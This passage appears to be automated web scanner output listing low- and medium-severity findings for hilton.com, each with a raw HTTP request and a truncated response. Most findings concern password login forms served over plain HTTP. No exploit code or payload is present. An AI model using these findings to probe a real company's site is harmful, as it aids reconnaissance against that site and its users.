class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/index |
| GET /en/hi/promotions/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:44 GMT Connection: close Connection: Transfer-Encoding Content-Length: 129290 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Hotels Specials & Packages - Featured Offers</TITLE> ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <div id="breadcrumb"> <a href="/doxch.jhtml Hilton Hotels </a> ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/res/choose_dates |
| GET /en/hi/res/choose_dates Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www1.hilton.com/en Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 302 Moved Temporarily Server: Netscape-Enterprise/6.0 Content-Length: 97 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Location: https://secure.hilton.com Vary: Accept-Encoding Date: Fri, 11 Feb 2011 02:00:11 GMT Connection: close <HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD <H1>302 Moved Temporarily</H1><BODY> </BODY> |
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/resorts/index |
| GET /en/hi/resorts/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 40344 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Resorts & Spas</TITLE> <META name="description" content="Hilton Resorts & S ...[SNIP]... <td><a href="/doxch.jhtml ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <br> <a href="http://www.hilton ...[SNIP]... <li id="navmain01" title="Specials & Packages"><a href="http://www.hilton ...[SNIP]... <li id="navmain02" title="Reservations"><a href="http://www.hilton ...[SNIP]... <li id="navmain03" title="Meetings"><a href="http://www.hilton ...[SNIP]... <li id="navmain0302" title="Social Gatherings"><a href="http://www.hilton ...[SNIP]... <li id="navmain05" title="Travel Guides"><a href="http://www.hilton ...[SNIP]... <li id="navmain07" title="My Favorite Hotels"><a href="http://www.hilton ...[SNIP]... <li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li> <a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... <li><a href="/doxch.jhtml ...[SNIP]... |
| Severity: | Low |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search/date |
| GET /en/hi/hotels/search/date Accept: */* Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Proxy-Connection: Keep-Alive Host: www.hilton.com |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/javascript P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Last-Modified: Thu, 24 Apr 2008 15:31:52 GMT Cache-Control: private Vary: Accept-Encoding Date: Fri, 11 Feb 2011 02:04:25 GMT Connection: close Set-Cookie: JSESSIONID=AKOBRFCTL Content-Length: 8177 /*to make sure use does not select dates in the past or that check-out date is not before check-in - jkenney*/ // alert messages. These could be overridden by an outside js file containing // languag ...[SNIP]... |
| Severity: | Low |
| Confidence: | Firm |
| Host: | http://www.hilton.com |
| Path: | /en/hi/signup/create |
| GET /en/hi/signup/create Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www1.hilton.com/en Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: cross-sell=hi; mmcore.tst=0.532; K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 302 Moved Temporarily Server: Netscape-Enterprise/6.0 Content-Length: 97 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Location: https://secure.hilton.com Vary: Accept-Encoding Date: Fri, 11 Feb 2011 01:51:23 GMT Connection: close Set-Cookie: JSESSIONID=GCYPOHJRF <HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD <H1>302 Moved Temporarily</H1><BODY> </BODY> |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/brand/about.jhtml |
| GET /en/hi/brand/about.jhtml HTTP/1.1 Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:27 GMT Connection: close Connection: Transfer-Encoding Content-Length: 36819 <!-- <SETVALUE PARAM="content_head" VALUE="`fileURL("home <!-- <SETVALUE PARAM="content_footer" VALUE="`fileURL("home <!DOCTYPE HTML PUBLIC "-//W3C// ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/cart/index.jhtml |
| GET /en/hi/cart/index.jhtml HTTP/1.1 Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 33897 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR <html> <head> <title>My Favorite Hotels</title> <link rel ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/ctg/index.jhtml |
| GET /en/hi/ctg/index.jhtml HTTP/1.1 Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 38096 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title> Hilton Hotels - Travel Guides </title> <link ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/groups/index.jhtml |
| GET /en/hi/groups/index.jhtml Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:11 GMT Connection: close Connection: Transfer-Encoding Content-Length: 73945 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>Meeting Planner Tools & Information - Hilton Hotels e-Events</title> ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search/city |
| GET /en/hi/hotels/search/city Host: www.hilton.com Proxy-Connection: keep-alive Referer: http://www1.hilton.com/en Cache-Control: max-age=0 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 01:55:42 GMT Connection: close Content-Length: 29530 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Hilton Hotels - Search Results for Groups and Meetings</title> <link rel="stylesheet ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:30 GMT Connection: close Connection: Transfer-Encoding Content-Length: 103065 <link rel="StyleSheet" href="hhonors/hh_search <link rel="StyleSheet" href="/en/hi/hotels ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/hotels/search |
| GET /en/hi/hotels/search Host: www.hilton.com Proxy-Connection: keep-alive Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: K3R7=3LJJ3QmEbCVHlmR |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Fri, 11 Feb 2011 02:16:20 GMT Connection: close Content-Length: 121389 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Search Results</title> <!-- Added for meta tag - e-event ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/HI |
| GET /en/hi/promotions/HI Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:50 GMT Connection: close Connection: Transfer-Encoding Content-Length: 37224 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:47 GMT Connection: close Connection: Transfer-Encoding Content-Length: 83849 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:09 GMT Content-Length: 32562 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Free i ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34629 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:07 GMT Content-Length: 30993 Connection: close <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Stay Connecte ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hi |
| GET /en/hi/promotions/hi Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:45 GMT Connection: close Connection: Transfer-Encoding Content-Length: 42417 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Escape this Winter</TITLE> <META ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/hilton |
| GET /en/hi/promotions/hilton Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:47 GMT Connection: close Connection: Transfer-Encoding Content-Length: 62666 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hotel Global ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions |
| GET /en/hi/promotions Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:57:04 GMT Connection: close Connection: Transfer-Encoding Content-Length: 66112 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Hotels Advanced ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/promotions/index |
| GET /en/hi/promotions/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:56:44 GMT Connection: close Connection: Transfer-Encoding Content-Length: 129290 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Hilton Hotels Specials & Packages - Featured Offers</TITLE> ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Low |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/resorts/index |
| GET /en/hi/resorts/index Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
| HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Fri, 11 Feb 2011 01:58:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 40344 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE>Resorts & Spas</TITLE> <META name="description" content="Hilton Resorts & S ...[SNIP]... </div> <form onsubmit="this.prevP <input type="hidden" value="/en/hi/login/login ...[SNIP]... </label> <input id="PasswordPIN" name="password" type="password" tabindex="5" class="frmTextSignin" value=""><input type="hidden" name="_D:password" value=" "> ...[SNIP]... |
| Severity: | Information |
| Confidence: | Certain |
| Host: | http://www.hilton.com |
| Path: | /en/hi/cart/index.jhtml |
| GET /en/hi/cart/index.jhtml Host: www.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: mmid=1193586808 |
